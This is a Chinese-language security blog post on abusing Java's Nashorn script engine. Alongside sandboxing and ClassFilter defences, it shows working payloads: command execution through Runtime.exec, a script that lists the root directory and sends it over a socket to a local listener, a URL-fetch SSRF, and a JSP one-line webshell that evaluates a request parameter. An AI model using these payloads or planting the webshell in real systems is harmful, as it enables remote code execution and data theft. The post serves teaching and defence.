一、什么是Nashorn 在 Java SE 7 之前,JDK 附带了一个基于 Mozilla Rhino 的 JavaScript 脚本引擎。Java SE 8 将搭载一个名为 Oracle Nashorn 的新引擎,该引擎基于JSR 292和invokedynamic. invokedynamic它通过绑定调用站点提供了对 ECMA 规范化 JavaScript 规范的更好合规性和更好的运行时性能。
遵循ECMAScript,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; public class Hello { public static void main(String... args) throws Throwable { ScriptEngineManager engineManager = new ScriptEngineManager(); ScriptEngine engine = engineManager.getEngineByName("nashorn"); engine.eval("function sum(a, b) { return a + b; }"); System.out.println(engine.eval("sum(1, 2);")); } }

二、通过Nashorn实现命令执行 1 2 3 4 5 6 7 8 9 10 11 public static void main(String[] args) throws ScriptException { String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app/Contents/MacOS/Calculator')};"; ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn"); scriptEngine.eval(test); }
三、通过Nashorn实现SSRF攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 public static void main(String[] args) throws ScriptException { //此处感谢5am3帮忙debug //方法1 String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};"; //方法2 String test5 = "var a=mainOutput();function mainOutput(){ var url=new java.net.URL('http://127.0.0.1:8200');url.openConnection().getContent();};"; ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); ScriptEngine scriptEngine = scriptEngineManager.getEngineByName("nashorn"); scriptEngine.eval(test5); }
四、其它利用 一句话木马实现https://xz.aliyun.com/t/9715
1 2 3 4 5 6 7 8 <% javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js"); engine.put("request", request); engine.put("response", response); engine.eval(request.getParameter("mr6")); %>
五、防御方法 5.1 NashornSandbox https://github.com/javadelight/delight-nashorn-sandbox
限制类
1 2 3 NashornSandbox sandbox = NashornSandboxes.create(); sandbox.allow(File.class); sandbox.eval("var File = Java.type('java.io.File'); File;")
实际效果
1 2 3 4 NashornSandbox sandbox = NashornSandboxes.create(); sandbox.allow(File.class); //sandbox.allow(Socket.class); sandbox.eval(test3);
可以看到Socket没有被允许,执行失败  
5.2 自建ClassFilter 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class EvalTest { public static void main(String[] args) throws ScriptException { String test3 = "var a=mainOutput();function mainOutput(){var file=new java.io.File(\"/\");var fileLists=file.listFiles();var s=new java.net.Socket(\"127.0.0.1\",8200);for(var i=0;i<fileLists.length;i++){var out=s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write(\"\\n\".getBytes());}};"; //解析JS NashornScriptEngineFactory factory = new NashornScriptEngineFactory(); ScriptEngine engine = factory.getScriptEngine( new EvalTest.seClassFilterBlack()); engine.eval(test3); } //黑名单方式 static class seClassFilterBlack implements ClassFilter{ @Override public boolean exposeToScripts(String s) { if (s.compareTo("java.io.File") == 0) return false; return true; } } //白名单方式 static class seClassFilterWhite implements ClassFilter{ @Override public boolean exposeToScripts(String s) { if (s.compareTo("java.io.File") == 0) return true; return false; } } }
可以看到File没有加载,执行失败